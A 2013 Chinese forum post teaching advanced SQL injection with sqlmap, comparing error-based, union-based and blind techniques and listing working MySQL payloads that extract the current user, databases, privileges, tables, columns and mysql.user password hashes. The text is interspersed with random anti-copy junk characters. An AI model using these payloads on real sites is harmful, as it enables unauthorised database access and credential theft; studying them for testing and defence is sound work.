找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2509|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
3 u" {+ g' n% G4 Y0 v8 d: ]( y
5 j; g- `( b8 _( A4 o这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
- V: j1 n7 p% V3 g- v % Z/ S, |2 B/ \+ Q, f( o0 Y" g
分类标准        分类        备注
  e" c) P3 F& G* r4 h; y0 Y" y* d按字段类型        整型注入,字符型注入        7 f# u7 R* U7 I. ~* h+ H8 D( C
按出现的位置        get注入,post注入,cookie注入,http header注入       
6 T( t& B+ v0 w1 E$ _6 G7 L. O然而高级注入是这样的
6 f$ a" r# I! p! r
) f  S, M% d+ n1 T' Z3 G高级注入分类        条件
7 {8 b: M; J4 n; ~: Herror-based sql        数据库的错误回显可以返回,存在数据库,表结构# P+ s% v$ F  `7 Z8 q; q0 q5 _6 D
union-based sql        能够使用union,存在数据库,表结构- k! i' s2 ?7 O0 c
blind sql        存在注入! j! C2 p% E3 x; r; y7 z
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。* T) a1 l1 _8 P
. k1 g$ x6 o& p
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
( l3 T! \, @; r
% J1 f3 B" I) B/ j/ d* y4 t附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。. w7 ^+ _. D. _9 h5 w5 \

7 c7 y) q/ }( H& `/ K3 y& x这里用mysql说明
$ w" [8 P- ~' S' U/ t1 J
: z( ]2 E. n! S' Z8 u" \, we注入坛子里很多了,请看戳我或者再戳我
0 w1 P' \! z$ x8 f - R6 R, z( J, W6 {5 z5 P
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
1 |* P" h3 [4 `3 T2 f . q4 i% L+ O% N; B  [
获取当前数据库用户名
9 c7 H5 E* a' J$ g 0 O. _  R, O3 C, F$ w' I$ l2 O) i
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C8 _$ Y' \6 {6 L$ T& U  w
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL$ J" z  v3 B7 h6 o. `" E- @( i
L, NULL#
2 I. Q) L5 X7 S7 o) Y注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
2 g$ \( @2 r. |1 _  ]; g& y/ ? 9 u, t4 D. M) G9 r5 }, F7 p
获取数据库名/ U, V  N/ g0 @  N( X* O

; f4 K& L- B- m, ~/ iUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#$ ^+ [4 V. L- c. G. }8 X3 F
获取所有用户名
; L" S$ ]! x! {% I. `9 n; s & O. X- M% n9 A7 i9 J9 Q
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
. B, l# `+ b; s* [+ U, F查看当前用户权限
' E! b2 X5 p/ x  ?7 K6 T
% }* X8 K0 ^0 n- |5 yUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
1 F) q/ |( `% Z% T3 H: z0 |尝试获取密码,当然需要有能读mysql数据库的权限! e2 c9 s& M1 S9 S" g

$ M: \9 @0 v( L$ k; kUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#2 v5 L) o/ X, j) U+ X" }/ v
获取表名,limit什么的自己搞啦1 b7 d. n; J( a* Z: x

0 n. c( N( f" Z) v2 JUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62## e8 X. x  {4 C* H0 T
获取字段名及其类型. {/ F' j: U8 r+ E; q$ M3 g/ x
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
! e4 H3 L- Q, O4 B5 ~) l* I - P- [& z" _: C, ~/ O7 g& C1 V% q) L
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。2 ]* M2 |" X  ~8 j) F  q: _& e
$ ?) ?, ?5 T# _1 _+ b
如:  @, d  Q' g) X0 z. y" X. ~
获取当前用户名- I$ t- I) y( t0 V- q/ w7 q
; i& F* S) d9 ]7 z+ y
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116! f! \, }8 s( ^& i
获取当前数据库
" p6 K0 d- s  s1 k% X6 R( _. p
3 M' M7 h' |- F" h0 }* i/ i. GAND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106$ f- w( m. A; s) a/ R* J3 [
获取表名
! i# L) M$ h# w! q9 ?7 O, f( W
* ?, c) V- Q) J0 \4 s8 k0 NAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
2 f5 c) A! x, A1 u& Y获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
; s3 S4 |% E7 F; Z回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
1 F( j7 A6 w2 X  C# q0 a! R5 _5 @# B爆表
3 D* D4 U/ i. R: ~  V! N$ q , [% ~& m$ K1 O
AND EXISTS(select * from table)" Q$ X. P* O4 b0 T1 @% {
爆字段
5 |, P$ D6 I. T( @( Q# _/ ^. q 9 L# }% V) u: S( Z3 b
AND EXISTS(select pwd from table)
3 e, x/ U1 S0 d盲注的变化就比较多了,由于篇幅,只是举个例子而已。% U. [( r& T7 y5 D

* B% K% G3 z5 I' ~本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。( E7 ?  X% p  j2 m% A( v& O& `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表